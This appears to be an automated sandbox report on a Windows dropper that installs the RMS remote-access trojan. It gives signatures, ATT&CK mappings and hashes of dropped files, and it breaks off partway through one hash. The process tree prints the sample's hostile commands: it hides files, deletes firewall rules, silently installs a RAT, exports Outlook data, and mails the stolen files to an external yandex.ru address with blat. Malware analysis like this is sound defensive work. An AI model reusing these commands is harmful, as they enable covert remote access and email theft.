Overview

overview

10

Static

static

3

JaffaCakes...c7.exe

windows7-x64

10

JaffaCakes...c7.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28/02/2025, 06:20

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    JaffaCakes118_3224118b5814907ef48bc26dad0d2bc7.exe

  • Size

    3.3MB

  • MD5

    3224118b5814907ef48bc26dad0d2bc7

  • SHA1

    8fb9a4eda0e1ce9093597aca84a119402a5dbeac

  • SHA256

    44d7c4b4420f4f8c90c05a9559f02bc6dbfcfa9eec47fb69e5a29e790bbd6d2b

  • SHA512

    1903314323bfdf804fe1c9d71952cd08e5d3a55c46fbc8d8d48cf1f312caa954298aaa1fe956d5eafb69cdcf3f2365cc5c3f68604fd6b142ce8960745333310c

  • SSDEEP

    98304:7JYXdAwP4unYP+0O8NPKDUDpQCOfCJ+N4dP5CVSBF:7JOOo8DDpS6Y4cY

Score
10/10
rmscollectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Rms family
    rms
  • Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

    defense_evasion
  • Modifies Windows Firewall 2 TTPs 8 IoCs
    defense_evasion
  • Sets file to hidden 1 TTPs 12 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 23 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 34 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 24 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 24 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 28 IoCs
    defense_evasion
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3224118b5814907ef48bc26dad0d2bc7.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3224118b5814907ef48bc26dad0d2bc7.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\stop.js"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\install.bat" "
        3⤵
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2900
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im RManServer.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2660
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rutserv.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2784
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2176
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\System32\catroot3"
          4⤵
          • Sets file to hidden
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2244
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/blat.dll"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1796
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/blat.lib"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:304
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/block_reader.sys"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:856
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/HookLib.dll"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1832
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/blat.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1320
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/mpr.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2196
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/realip.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:384
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp/mpr.ini"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:808
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\stop.js"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1616
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\install.bat"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1676
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\Windows\System32\de.exe"
          4⤵
          • Sets file to hidden
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2348
        • C:\Windows\SysWOW64\net.exe
          net stop rserver3
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2712
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop rserver3
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2560
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rserver3.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1524
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im r_server.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2036
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im cam_server.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2052
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h -r "C:\Windows\system32\cam_server.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2528
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h -r "C:\Windows\SysWOW64\cam_server.exe"
          4⤵
          • Views/modifies file attributes
          PID:1100
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\rserver30"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1492
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\SysWOW64\rserver30"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1580
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h -r "C:\Windows\system32\r_server.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:356
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h -r "C:\Windows\SysWOW64\r_server.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1680
        • C:\Windows\SysWOW64\net.exe
          net stop Telnet
          4⤵
            PID:968
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop Telnet
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1384
          • C:\Windows\SysWOW64\sc.exe
            sc config tlntsvr start= disabled
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1152
          • C:\Windows\SysWOW64\net.exe
            net stop "Service Host Controller"
            4⤵
              PID:2124
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Service Host Controller"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2480
            • C:\Windows\SysWOW64\net.exe
              net user HelpAssistant /delete
              4⤵
              • Indicator Removal: Network Share Connection Removal
              • System Location Discovery: System Language Discovery
              PID:816
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 user HelpAssistant /delete
                5⤵
                • Indicator Removal: Network Share Connection Removal
                • System Location Discovery: System Language Discovery
                PID:988
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /delete /tn security /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2544
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="RealIP"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1932
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="Microsoft Outlook Express"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1988
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="Service Host Controller"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2456
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="ò«ßΓ-»α«µÑßß ñ½∩ ß½πªí Windows"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:696
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="ò«ßΓ-»α«µÑßß ñ½∩ ºáñáτ Windows"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2512
            • C:\Windows\SysWOW64\netsh.exe
              netsh firewall delete portopening tcp 57009
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:572
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete rule name="cam_server"
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2188
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall firewall delete portopening tcp 57011 all
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:884
            • C:\Windows\SysWOW64\reg.exe
              reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Ä»Ñαᵿ«¡¡á∩ ß¿ßΓѼá Microsoft Windows" /f
              4⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry key
              PID:2584
            • C:\Windows\SysWOW64\reg.exe
              reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Service Host Controller" /f
              4⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry key
              PID:1840
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpAssistant /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2100
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "cam_server.exe" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2428
            • C:\Windows\SysWOW64\reg.exe
              reg delete "HKLM\System\CurrentControlSet\Services\RServer3" /f
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3016
            • C:\Windows\SysWOW64\catroot3\rutserv.exe
              "rutserv.exe" /silentinstall
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1600
            • C:\Windows\SysWOW64\catroot3\rutserv.exe
              "rutserv.exe" /firewall
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:452
            • C:\Windows\SysWOW64\regedit.exe
              regedit /s set.reg
              4⤵
              • System Location Discovery: System Language Discovery
              • Runs .reg file with regedit
              PID:2424
            • C:\Windows\SysWOW64\catroot3\rutserv.exe
              "rutserv.exe" /start
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2520
            • C:\Users\Admin\AppData\Local\Temp\mpr.exe
              C:\Users\Admin\AppData\Local\Temp\mpr.exe /export
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • Accesses Microsoft Outlook profiles
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • outlook_win_path
              PID:2832
            • C:\Users\Admin\AppData\Local\Temp\realip.exe
              realip.exe
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2964
            • C:\Windows\SysWOW64\PING.EXE
              ping -n 5 127.0.0.1
              4⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:108
            • C:\Users\Admin\AppData\Local\Temp\blat.exe
              blat.exe -install -server smtp.yandex.ru -port 25 -f ###heraboy###@yandex.ru -u ###heraboy### -pw ###28122812###
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2396
            • C:\Users\Admin\AppData\Local\Temp\blat.exe
              blat.exe -to ###heraboy###@yandex.ru -subject "PERFECTLY! RMS Service (c) by Alex Hitch" -attachi "realip.txt" -body "Real Ip [pass]" -attach C:\Users\Admin\AppData\Local\Temp\*.mpf
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:596
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 596 -s 324
                5⤵
                • Loads dropped DLL
                • Program crash
                PID:2316
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/blat.dll"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2424
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/blat.lib"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:1284
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/block_reader.sys"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:1312
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/HookLib.dll"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:1712
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/blat.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:320
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/mpr.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2804
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/realip.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2256
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp/mpr.ini"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2072
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp\stop.js"
              4⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:332
            • C:\Windows\SysWOW64\attrib.exe
              attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp\install.bat"
              4⤵
              • Views/modifies file attributes
              PID:3024
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
          2⤵
          • Deletes itself
          • System Location Discovery: System Language Discovery
          PID:2940
      • C:\Windows\SysWOW64\catroot3\rutserv.exe
        C:\Windows\SysWOW64\catroot3\rutserv.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1692
        • C:\Windows\SysWOW64\catroot3\rfusclient.exe
          C:\Windows\SysWOW64\catroot3\rfusclient.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2836
          • C:\Windows\SysWOW64\catroot3\rfusclient.exe
            C:\Windows\SysWOW64\catroot3\rfusclient.exe /tray
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2792
        • C:\Windows\SysWOW64\catroot3\rfusclient.exe
          C:\Windows\SysWOW64\catroot3\rfusclient.exe /tray
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2764

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      JavaScript

      1
      T1059.007

      System Services

      1
      T1569

      Service Execution

      1
      T1569.002

      Persistence

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Privilege Escalation

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Defense Evasion

      Hide Artifacts

      2
      T1564

      Hidden Files and Directories

      2
      T1564.001

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Indicator Removal

      1
      T1070

      Network Share Connection Removal

      1
      T1070.005

      Modify Registry

      1
      T1112

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      2
      T1552

      Credentials In Files

      1
      T1552.001

      Credentials in Registry

      1
      T1552.002

      Discovery

      Query Registry

      1
      T1012

      Remote System Discovery

      1
      T1018

      System Information Discovery

      1
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      System Network Configuration Discovery

      1
      T1016

      Internet Connection Discovery

      1
      T1016.001

      Lateral Movement

      Collection

      Data from Local System

      2
      T1005

      Email Collection

      2
      T1114

      Command and Control

      Exfiltration

      Impact

      Service Stop

      1
      T1489

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd
        Filesize

        264B

        MD5

        e907de3fb8cc0e1a0ecc7e315bd6ebaf

        SHA1

        fd0aa402a01d9d1c49da18974bcbb15ed425d7f9

        SHA256

        62cdbdd8686313574f064cb4c824f4091d6231f4f8fe023588b42af16fde09f7

        SHA512

        39bc97653f2448ffcf4fc21f553e106225d8ffbfc950c7ad849a7b9e1d823b83445974fc229f323260c3ff1907c475bc43df65694723c630807d7b91cbc776cf

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\HookDrv.dll
        Filesize

        144KB

        MD5

        513066a38057079e232f5f99baef2b94

        SHA1

        a6da9e87415b8918447ec361ba98703d12b4ee76

        SHA256

        02dbea75e8dbcdfc12c6b92a6c08efad83d4ca742ed7aee393ab26cab0c58f9e

        SHA512

        83a074bef57f78ede2488dd586b963b92837e17eea77ebd1464f3da06954ae8ca07f040089af0c257e2836611ae39424574bd365aea4a6318a2707e031cd31a5

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\HookLib.dll
        Filesize

        42KB

        MD5

        9b2e0db7547afab728ec31b7288705d6

        SHA1

        cedd09c5fda6c9445d191f97034e23e960361074

        SHA256

        ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b

        SHA512

        1c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Microsoft.VC80.CRT.manifest
        Filesize

        1KB

        MD5

        d34b3da03c59f38a510eaa8ccc151ec7

        SHA1

        41b978588a9902f5e14b2b693973cb210ed900b2

        SHA256

        a50941352cb9d8f7ba6fbf7db5c8af95fb5ab76fc5d60cfd0984e558678908cc

        SHA512

        231a97761d652a0fc133b930abba07d456ba6cd70703a632fd7292f6ee00e50ef28562159e54acc3fc6cc118f766ea3f2f8392579ae31cc9c0c1c0dd761d36f7

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\PushSource.ax
        Filesize

        448KB

        MD5

        d7eb741be9c97a6d1063102f0e4ca44d

        SHA1

        bf8bdca7f56ed39fb96141ae9593dec497f4e2c8

        SHA256

        0914ab04bfd258008fec4605c3fa0e23c0d5111b9cfc374cfa4eaa1b4208dff7

        SHA512

        cbcaedf5aca641313ba2708e4be3ea0d18dd63e4543f2c2fdcbd31964a2c01ff42724ec666da24bf7bf7b8faaa5eceae761edf82c71919753d42695c9588e65e

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\RIPCServer.dll
        Filesize

        96KB

        MD5

        329354f10504d225384e19c8c1c575db

        SHA1

        9ef0b6256f3c5bbeb444cb00ee4b278847e8aa66

        SHA256

        24735b40df2cdac4da4e3201fc597eed5566c5c662aa312fa491b7a24e244844

        SHA512

        876585dd23f799f1b7cef365d3030213338b3c88bc2b20174e7c109248319bb5a3feaef43c0b962f459b2f4d90ff252c4704d6f1a0908b087e24b4f03eba9c0e

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\RWLN.dll
        Filesize

        325KB

        MD5

        cf6ce6b13673dd11f0cd4b597ac56edb

        SHA1

        2017888be6edbea723b9b888ac548db5115df09e

        SHA256

        7bda291b7f50049088ea418b5695929b9be11cc014f6ec0f43f495285d1d6f74

        SHA512

        e5b69b4ee2ff8d9682913a2f846dc2eca8223d3100d626aea9763653fe7b8b35b8e6dc918f4c32e8ae2fc1761611dcd0b16d623ede954f173db33216b33f49dc

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\blat.dll
        Filesize

        120KB

        MD5

        724cae63522f6e5f7565a3bf4b2a719b

        SHA1

        18620dbd4357d85918070f669ff4b61755290757

        SHA256

        b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779

        SHA512

        af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\blat.exe
        Filesize

        112KB

        MD5

        31f84e433e8d1865e322998a41e6d90e

        SHA1

        cbea6cda10db869636f57b1cffad39b22e6f7f17

        SHA256

        aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

        SHA512

        7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\blat.lib
        Filesize

        2KB

        MD5

        3cd3cffda2b5108e2778f94429c624d6

        SHA1

        3e4d218d1b8eb4fa1ab5152b126951892aff3dc9

        SHA256

        b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff

        SHA512

        c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\block_reader.sys
        Filesize

        1KB

        MD5

        b5a0cfd3e6cb42a29255faa1546f420c

        SHA1

        c55cb0f7b5a04231607498b83629e70105113ee3

        SHA256

        a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0

        SHA512

        274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\de.exe
        Filesize

        98KB

        MD5

        b8622a3042d7fa48b2e6de433007c870

        SHA1

        6399b9d115c3f1d3c5469f81b1a821bf75b75ae8

        SHA256

        cdb8330b9a36462dad63fb5c98520c4dd1cecf8a20d071bb0eff15ecf9fe0c98

        SHA512

        19450e826c78cc9526bf9ccba356fa63c8282ae3093db9ad71c1f21bcd80b3850b3aabbd2221fd6ddc293378df3d52ac0484c8882aeee517145d018ce3b4ed73

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\dsfOggMux.dll
        Filesize

        84KB

        MD5

        65889701199e41ae2abee652a232af6e

        SHA1

        3f76c39fde130b550013a4f13bfea2862b5628cf

        SHA256

        ef12a65d861a14aed28480946bc56fce479a21e9beac2983239eac6551d4f32e

        SHA512

        edbb1a1541a546d69e3fd64047a20613b47b3c08f2b639a53160b825c4a1462c4cc08a7bf417aa2db814f412fb16619c6c0d9364e21cc1c6d753ecf81f1d30f5

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\dsfTheoraEncoder.dll
        Filesize

        240KB

        MD5

        5f2fc8a0d96a1e796a4daae9465f5dd6

        SHA1

        224f13f3cbaa441c0cb6d6300715fda7136408ea

        SHA256

        f8686d8752801bb21c3d94ebe743758d79b9b59f33589ec8620e75a949d1871f

        SHA512

        da866275159b434205f259176c3937b7c77b14ed95d052152b05b984909e094bbd3b2702d3e874a4a1e1bc02fc5a8476ea43df8aee43542d56e832eacc8f54ad

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\dsfVorbisEncoder.dll
        Filesize

        1.6MB

        MD5

        086a9fd9179aad7911561eeff08cf7e2

        SHA1

        d390c28376e08769a06a4a8b46609b3a668f728b

        SHA256

        2cede6701b73a4ddd6422fde157ea54644a3a9598b3ba217cf2b30b595cf6282

        SHA512

        a98f593a306208da49e57e265daf37d6b1bd9f190fba45d65dd6cfa08801b760f540ea5cc443f9a1512eb5ddc01b1e4e28fc8ddecb9c0f1d42c884c4efaa7193

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\install.bat
        Filesize

        5KB

        MD5

        ec5ca5419caf6f82daf50cd7d1fc831e

        SHA1

        437a166e9c250ef96df47b9fb29998b58bbaa8fd

        SHA256

        dd6770f9a94b64fc33f2e880575d4060cea39dd462024a86027e4a1be59de415

        SHA512

        f0bacb63160b20d47bc5b57019355bf3832ccbf7f65c61893cd8d3356b73eab9f1b6e9f1a8e7952f337b82edd82dc1cbeb3561eeaf857b57f2bb32c9a5068ffe

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\mpr.exe
        Filesize

        3.3MB

        MD5

        8dba37604bf06ebcef07dd1085865a6a

        SHA1

        1202eb0ea461c502daa7da9d7d75fff226bf57bd

        SHA256

        038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0

        SHA512

